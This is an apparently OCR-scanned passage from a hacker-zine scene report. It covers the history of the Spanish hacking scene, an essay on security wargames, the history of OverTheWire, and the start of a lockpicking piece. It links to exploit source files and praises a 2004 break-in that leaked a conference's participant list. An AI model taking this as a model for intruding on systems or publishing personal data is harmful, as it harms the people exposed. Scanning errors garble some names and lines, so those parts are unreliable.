others just hanging out and partying (ending up getting call-girls and 
talking about hacking with them, or loosing a chicken in a taxi...), etc. 


From 2000 onwards, when the scene had reached its climax and little by 
little the decadence was taking root, a new generation of hackers gained 
strength, more transversal due to the groups they belonged to and more 
collaborative from an international point of view. Amongst them Zhodiac 
from !Hispahack stands out as author of EMET and multiple exploits (6). He 
published an article in Phrack in 2001 about overflows in PA-RISC, which 
opened the gates for others who would also publish there: Pluf and Ripe, 
Ilo, Dreg and Shearer, Pancake and Blackngel. 


They also created notable exploits, as Doing(7) (8) and RomanSoft (9) (10), 
well known for having written, in 1997, the most downloaded text of the 
Spanish underground "TAjcticas de guerra en el IRC" (War tactics in IRC). 
RomanSoft is today a member of Int3pids, one of the 20 best CTF teams in 
the world, and of the group !dsR, who in 2004 managed th pic feat of 
hacking the actual Chaos Computer Club (11) (12). Taking advantage of a 0- 
day exploit in the CCC wiki, they obtained the 2003 congress participants 
list, which they published. 


Alejandro Ramos: "Hans Ulrich, from the CCC, after doing some forensics on 
the systems announced the vulnerability, attributing it to himself. It 
wasn’t until then that RomanSoft reacted and explained that he had 
discovered the exploit a few months before and spread it to a small group 
of people from where it had filtered. Even the author of Twiki himself 
confirmed that RomAjn had notified him of the vulnerability a few days 
prior". 
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As a final note, the numerous and always collaborative Spanish cracking 
community deserves mention, very active on both sides of the ocean. 
Spanish crackers from the 90’s created a multitude of refuges anda 
cathedral called "La PAjgina de Karpoff" (Karpoff’s page), where hundreds 
of translations, tools and manuals in Spanish about cracking, reverse 
engineering and computer programming were uploaded. This fountain of 
knowledge watered today’s fertile community of Spanish reversers, amongst 
them RubA@©®n Santamarta (reversemode), Joxean Koret (matalaz), Ero Carrera, 
Hugo Teso, Mario Ballano or Sergi A\200lvarez (trufae), the creator of 
Radare. 


) http://www.netcomunity.com/lestertheteacher/index.htm 

) https://nmap.org/nmap-fingerprinting-old.html 

) http://hackstory.net/Manual_del_novicio_al_hacking 

) https://www.youtube.com/watch?v=jXmAzeMoZNs 

) http://set-ezine.org/ezines/set/txt/setll.zip 

) http://zhodiac.hispahack.com/index.php?section=advisories 
) 

) 

) 

0 


http: //examples.oreilly.com/networksa/tools/rpc-statd.c 

http://www.vfocus.net/hack/exploits/os/linux/suse/6.2/su-dtors.c 

http: //examples.oreilly.com/networksa/tools/rs_iis.c 

) http://archives.neohapsis.com/archives/fulldisclosure/2006-07/ 
0234.html 

(11) http://www.digitalsec.net/stuff/fun/CCC/camp-server-hack.htm 

(12) http://www.digitalsec.net/stuff/fun/CCC/ccc_and_cccs.txt 


5. Thanks to: 


Dreg, Homs, Zhodiac, HorseRide, Han Solo, Depeche, Rampa, Savage, 
Partyman, Lester, Mave, Darkraver, RomanSoft, X-Grimator, Karpoff, 
Pepelux, JFS, Alberto Lozano, VirusBuster, rwxrwxrwx, aT4r, Crg, TaNiS, 
MindTwist, uCaLu, MegadetH, Pancake, Crash, Metalslug, Angeloso, Nico, 
dAb, Snickers, Rayita, Yandros, Icehouse, DrSlump, Deese, L, Altair, 
thEpOpE, Belky, El-Brujo, ReYDeS, Bernardo Quintero, Carlos SAjnchez 
Almeida, Manoleet, Cyteck, Yoriell, MA3nica Lameiro, Jay Govind, Rock 
Neurotiko, Albert StateX and the rest of the Hackstory’s crew. Also: 
Jericho. Wau Holland. 


|=[ 0x02 ]=---=[ Wargaming Scene Phil Steven, adc & weekend ]= 


--[ An Overview of the Wargaming Scene Through the Eyes of adc 


In 2007, 3 dudes captured the first slot in the DEFCON CTF Qualifiers. 
They didn’t come from anywhere, and they werent actually planning on 
playing, which is why they had to decline. The only explanation is 
wargames. So if you eat your veggies and do loads and loads of wargames 
you too will have brains, discipline, and hilarity. 


And the wargame scene has bloomed! There are CTIFs available just about 
every month now, many of which can be played remotely. And persistent 
shell-based wargames and web-vuln sites continue to run, year after year, 
completely free. 


Here’s why I love wargames: 
— The people attached to the keyboards on the other side 
-— Easy, piecemeal, bite-sized levels 
-— Decent learning curve on most games (easy to HARD) 
—- Easy to discipline yourself into a hacking machine 
-— Good ego-boost after trying to hack unsolved things gets you down 
(see: real world) 
— Friendly help readily available 
—- Knowledge itself is the reward, pure skill! 
Some people cheat, and those that do don’t get much of anything out of it 
— Cheating is more fun when noone knows how you cheated 
— Adrenaline rush (though it’s faded for me and others with great time) 
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I became addicted to wargames.unix.se in 2003. Before the summer, I had 
been trying a website my friend showed me, hackerslab, but didn’t really 
get anywhere after copy pasting my way to somewhere not very far. The 
swedish site was started by norse and had lots of other people 
participating and making games, a bunch of which are still not far from 
wargames today. 


At wargames.unix.se something special happened for me though, it all 
just really clicked. Perhaps it was the web design or maybe the slogan: 
"Unregulated knowledge is pornography". There was just tons of cool 
information being discussed in the forums and on irc, things people 
wondered about, highly technical, and those people wer xploring them 
full-on. I think it really was the community. A bunch of charming and 
cool swedes were making fun, addictive wargames to play. The attitude 
there was A+, the challenges were good, and something about the way 

they were presented just made them very appealing. It could have been the 
scoreboard, or just listening in on the irc and thinking damn, these are 
some genuine hackers. And people were very polite and helpful. Some of 
those early games can still be played on overthewire.org: 


Leviathan - this was the first shell based game, where all newbies start 
Behemoth where I exploited my first buffer overflow 

Utumno - A little harder 

Maze —- Harder again, easy remotes 


There used to be a bunch of other games on wargames.unix.se, some that 
taught network skills, and then some that did crypto from easy (balthasar) 
to hard (halls of despair) to insane (halls of torment). 


The four shell-based games above I would highly recommend to anyone just 
starting out. They are just easy enough that it’s welcoming to a beginner 
but after leviathan the esoterism begins to seep through and make the 
levels something else altogether. They’re fun and captivating to this 
day. 


The thing of it is, I used to actually get a huge adrenaline rush from 
solving these back then. Like my heart would be pounding while I was 
waiting for some shellcode to land, and when it did, it was always a 
great smile. After spending an evening to a week or two miserably stuck, 
taking copious notes, and then finally solving a level, I couldn’t wait 
to be working my way up to the next one. It was really damn addictive. 
Oddly enough, real-world hacks rarely got close to the rush from wargames 
for me, as the real world has lots of complications which my biology 
begins to think about.... I’m weird. 


Many wargamers also keep copious notes in order to capture the subtleties 
of the different game levels. The notes directories usually begin only 

with the credentials for each level, but as most wargamers find, the notes 
directory tends to escalate. It contains for each level of each game: which 
vulnerabilities have been identified, which exploits might work, which 
exploits failed, and finally which exploits succeeded. It’s also a good 
idea to keep notes on different shellcodes, different techniques for 
debugging, heap tricks, and so on. I would probably learn a ton from the 
disclosure of other people’s notes :-). 


wargames.unix.se transformed into Digital Evolution dievo.org and was 
around until ’06 or so. Digital Evolution was quite awesome. It had 
basically everything I use from the internet still today: wargames, a 
chill music station (delphium radio!), an awesome picture gallery from the 
userbase, an extensive archive of links to knowledge, irc!!!, and 
leaderboards to compete about everything on the website. 


In ’'06 or so at some point the community dispersed after the demands of 
running the site became too great for the people running it and the site 
leaders just kind of moved on after a lot of downtime. runixd offered to 
host the games and intruded.net came up. I helped restore and retest a 
bunch of them. It seems like ages ago, but I remember administering the 
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games on user-mode-linux, then Xen (and finding tons of ways to kernel 
panic), and finally Vserver. We stopped updating the games around ’07, 

and it turns out turns of privesc vulns were being introduced to the 
kernel and libc in late ’07 and ’08, heh, so the games didn’t need 

too much maintenance for awhile. Till some hardware failed quite poorly in 
early ’11. Luckily, overthewire.org has taken everything back up in ’12 
and continues to host them 


So tempting to namedrop some greetz here to all the nick, but archive.org 
really says it best!. 
http://web.archive.org/web/20050729112313/http://www.dievo.org/ 

So what’s around today if you’re looking to get yet-better at memory 
corruption when CTFs are not around? I highly recommend two oldies, which 
I consider transformative in my exploitation education. The first of 

these is vortex on overthewire.org, the second is #io on smashthestack.org. 


When I first played vortex, the first level showed me that I did not really 
understand pointers as well as I thought I did. I recall andrewg telling 

me to draw a stack diagaram. So I did, and finally the &s and *s made 

sense when combined with my diagram and the assembly code. It was mind 
bendingly difficult for something quite simple the first time through. And 
other levels repeat th xperience. Subtly exploitable bugs that at first 
don’t appear to be possible because of certain limitatio yns. The level of 
difficulty does continue to grow until at some point you become somewhat 
skilled. 


When showing up to play #io, the first time through, I got to 11 and was 
utterly disappointed until then. And then something happens, the levels 
become hard. Quite hard. I had been a wargame veteran at this point, so 
#io was a gift! Today, the first 10 have been rewritten to all be fun. 
Now up to about 30 levels, #io0 continues to grow with well-researched, 
subtle vulnerabilities for exploitation. At least one level has a real 
world, remotely exploitable vulnerability found by a player and crafted 
into a challenge for your intellectual pleasure. Beat #vortex and #io and 
you will be rather _good_ at exploiting unix memory corruption. 


After that, go play them all. Play every wargame. They all contain 
knowledge that will enhance your skills. Also play CTFs when you can and 
if they’re fun! If they’re not as fun or getting stale, then hack the 
game! 


- adc 


old rant: 

When I was younger I was aggressive and persistent, probably still so. 
Wargames were the perfect outlet to mold my energy into some pretty useful 
tricks. I remember coming and going back to wargames many times, the same 
C 
p 
fe) 


hallenges continually kicking my ass. I started out as a google copy 

asta chef. I didn’t know how to code very well, though I remember checking 
ut a copy of Turbo C once when I was 12, then a C++ book from the store 
when I was 13, and being bored while attempting to learn something from it. 
I still hate C++, I think that Bjarne Stroutsups overgrown haircut explains 
it all. 


I have always, always kept coming back to really play with the machine 
though. I want to watch it tick and take it apart. I think I always had 
the itch when peering into a screen. 


I started out wargaming in 2003. From memory, there are some good ones I 
remember from that year, there was web stuff like try2hack.nl, 
hackthissite.org, and C stuff like hackerslab (a korean site), 
pulltheplug.com (now overthewire.org), and wargames.unix.se (a swedish 
site which later became dievo.org). I remember not really knowing my way 
around a command shell after cheating on some of the hackerslab levels. 
Then one day, a friendly hacker started talking to me through my bash 
shell. I had no idea how he did it. Peering up, the difference of skill 
level between us was laughable. I wanted to learn :-) 
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Wargaming in the military is running battle simulations. Wargaming for 
computer security is also a simulation. The nice thing about computers is 
that they enable very cheap simulations on very real systems. When 
wargaming really started to take off in the early 2000s, internet 
connections became cheaper as did servers, so it wasn’t too much of a 
hassle to host something. Though you had to remain careful where you 
hosted in case you invited skilled company inside. 


Sometimes the systems you’re hacking are completely synthetic, which can 
be quite tame at times. Sometimes the synthetic game is hackable to 

reveal the real game, which is a lot more fun, and I always have more 

fun when the real game comes out from the synthetic. For example, I recall 
one roothack in 07 or so, eagerly awaiting Epic (RIP) to kick off a 5-way 
king of the box game when felinemenace crew ended the game on the gateway 
machine before th vent had even started. Meanwhile, beist was on my team 
had hacked another team’s account, and we thought *we* were the ones being 
COOL TL 


Those two week lulls before classes would pick up again in high school, 
and nothing felt better than procrastinating the binges of assigned 
summer reading with some real intellectual stimulation of my own volition. 
Landing some code. 


Since 07, CTFs have just exploded. I am lucky to have played with the 
loller skaterz dropping from rofl copters as well as RPISEC and pick up 
teams here and there. One thing that always impressed me about the teams I 
encountered was when they *hadnt* played persistent wargames before. You 
can have a read of atlas’ blog to see what kind of catching up they have 
to do. Many CTF players have managed to compress an year’s worth of 
debugging exploits into a few months, it’s impressive. 


Here’s what I love about wargames. One, it will expand your understanding 
of programs and debugging like nothing else can. Many wargame levels will 
be little 100-line programs that don’t *appear* to have any security 

bugs and they will kick your ass for awhile. Others will be obviously 
exploitable, until you go and try and exploit them, and find all the 
difficulties whether an XSS filter, a NUL byte in the wrong place, or the 
compiler reordering stack variables... 


Two, there’s always a solution* once a challenge is up. Some brilliant 
minds thought through and tested something special just for you very 
thoroughly to make sure you’d have a good time. Real world code can 
REALLY kick your ass and get your self esteem down. It’s hard, you can’t 
always be smarter than the programmers that wrote it. But a wargame level 
was made to be broken. It will help you pick up the momentum you need to 
tackle the real world again. *Some CTFs mess up the testing phase which 
is disappointing for everyone. 


Three, they come in baby steps. The way most persistent wargames and CTFs 
are organized is through a potpourri of easy medium hard and random 
challenges. Each challenge itself is usually quite manageable and 
bite-sized. A well designed game makes it effortless to figure out which 
pieces to solve first. A common strategy among wargame players it to keep 
a copious notes with the successes (and sometimes failures) of each level. 
I personally logged most of my failed attempts, and always felt great 
satisfaction revisiting them. The games provided excellent facilities for 
conquering genuinely hard, unknown problems with a lot of research, gdb 
(or whatever web stuff for web stuff), and head scratching. Was also 
always a joy ;-) to grab a copy of someone’s note directory and learn 
little tricks. 


Four, you will learn real skills. There are skills encoded in the levels of 
the games out there that haven’t been yet published in an article. I’m 
fairly certain #io on smashthestack.org revealed linux ASLR bypasses quite 
awhile before they were patched and semi-public. Though many wargames start 
out quite easy the difficult ones are there. And it is the difficult ones 
that will transform you from a noob into a conscious hacker. 
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Five, the people. Yes some people are ornery, and if you’re vain then you 
think I’m talking about you. Some people are trolls. And some people are 
just so genuinely cool. Throughout my time in the computer security space, 
I am persistently impressed and inspired by people. Both competitively and 
creatively, I feel like I’ve always worked best in pairs or small groups 

of people. It’s always just a pleasure for me to work with others. And 
people of very different backgrounds and goals come to sharpen their skills 
on wargames, which means there will be fun. 


I remember the first guy I learned to exploit a stack buffer overflow with, 
we both had no clue, but we figured it out after a few days of gdbing. This 
was on the wargames.unix.se website, which I am EXTREMELY nostalgic for. I 
owe Sweden a lot of beers. 


Throughout the different wargaming sites and CTIFs you will find lots of 
different attitudes, some very mysterious people, and some incredibly 
ordinary. Back in 2003 when I found wargames.unix.se I knew nothing but 
just had a compulsion to solve some levels. I was doing whatever it took 
to get to the next one, but I often couldn’t figure it out *on my own*. 

On wargames.unix.se I found mentorship and just a super inviting attitude 
to do the hard stuff. The standard of thinking hard was well-ingrained, 

and more impressively, people were just really damn friendly and accepting. 
And the reason that is impressive is because I asked *a lot* of dumb 
questions. It also had a great scoreboard with green dots that I lived for, 
plus the rankings. 


I’m pretty sure that I can crash in pads around the world on the promise of 
explaining a wargame level to someone. 


Steven, I’1ll race you... 


-adc 


Wargames: overthewire.org, smashthestack.org, hackthissite.org, try2hack.nl 
CTFs: blah blah blah 


[ OverTheWir 


OverTheWire.org (OTW for short) is, as far as we are aware, the oldest 
hacker wargame community on the internet. The goal of OTW is to learn 
security principles and coding practices through a hands-on approach, and 
have fun while doing it. The regular OTW community idles on IRC and is very 
supportive of new users willing to learn. They answer technical questions 
about the games, provide hints and often discuss all kinds of topics 
surrounding computer security. 


We currently host 11 online games and 3 downloadable images for games that 
can be played offline. The topics covered in these games are typically 
related to lowlevel security in linux userland (vortex, semtex, leviathan, 
narnia, behemoth, utumno, maze, manpage), but we also cover commandline 
scripting (bandit), networking (semtex), crypto (krypton), web (natas) and 
some kernelland (monxla). 


OverTheWire.org was originally called PullThePlug.com, and was created by 
Brian Gemberling around 1999. It consisted of 4 physical machines connected 
to a network in his basement, behind a cable modem with a single IP. 
Through portforwarding, all these machines could be reached from the 
internet. 


More people joined in the following years and PullThePlug (PTP) grew out of 
Brian’s basement and into a dedicated hosting enviroment. Now being run by 
a core management team and a lot of volunteers, the games existed on 4 
physical machines and a bunch of vserver instances. 


To avoid a conflict between the PTP games and Brian’s business 
(ptptech.com), the community moved from PullThePlug.com to PullThePlug.org. 
After a dispute over the PullThePlug.org domain name, PullThePlug.org moved 
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again to OverTheWire.org around 2006. 


At this point, most of the old games were gone and replaced by newer games. 
Because of all the turbulence caused by moving domain names and problems 
with hosting providers and DDoS attacks, development of new games stalled 
out. It took a couple years before the server infrastructure got back on 
it’s tracks. By this time though, a lot of the crew had moved on to other 
things. 


In 2010, OTW created its first custom wargame for the French Hackito Ergo 
Sum (HES) conference and has been doing that annually ever since: HES2010 
and abraxas (HES2011) can be downloaded as VM images, while monxla 
(HES2012) can be downloaded as a livecd ISO. Kishi, a custom game for 2013, 
will be shared by HES and NSC (No Such Conference, also French) and offered 
as a download later on. 


In 2012, it became apparent that games from intruded.net went offline and 
were staying offline. We were asked to adopt these games and, with the help 
of their former administrators, managed to resurrect them all 6 on the OTW 
servers: leviathan, narnia, behemoth, utumno, maze and manpage. In addition 
, 2 games for complete beginners were developed to lower the barrier for 
newcomers. Bandit focuses on the very basics of systems security, and natas 
covers serverside websecurity. 


Because of relentless DDoS attacks on both the OverTheWire.org and 
SmashTheStack.org IRC networks, it was decided in 2012 to link both of them 
together into one bigger network, reuniting us with our long lost brothers 
and sisters. 


This is not the end of the story. 
We will keep working on developing new games and maintaining the old ones, 


for as long as we can. Several new games are already in development, 
covering topics such as kernel exploitation, web-security and others. 


Many great hackers started out playing, or at some point regularly visited 
the PTP/OTW games. 

It’s an honor to be part of their lives in this way and it is our hope to 
continue to provide this kind of hands-on experience to the next generation 
of hackers. 


Remember, kids: "Experience is what you get, when you don’t get what 
you want!" 


This looks like a good place to thank some people: andrewg, arcanum, astera 
,aton, bk, Brian Gemberling, deadbyte, dusty, gizmore, jduck, joernchen, 
kripthor, 13thal, malvina, mercy, morla, mxn, nemo, rainer, samy, everyone 
else of #social and probably a ton of people who slip my mind right now <3 


Go forth, and be a force of the awesome! 


=[ 0x03 J=---=[ The Austin Lockpicking Scene - jgor ]=---= 


[ The Austin Lockpicking Scene] 
[ by jgor ] 


The hobbyist lockpicking scene in the U.S. has become wildly organized in 
the last decade. If you’ve been to a hacker conference in that time you’ve 
likely heard the names TOOOL (The Open Organization Of Lockpickers) [0] or 
Locksport International [1]. While TOOOL has been going strong in the 
Netherlands for far longer, the U.S. branch didn’t make an appearance until 
the mid-2000’s, and Locksport International popped up around the same time 
in 2005 as a joint effort between U.S. and Canadian founders. 


Enter Doug Farre. An early officer and now president of Locksport 
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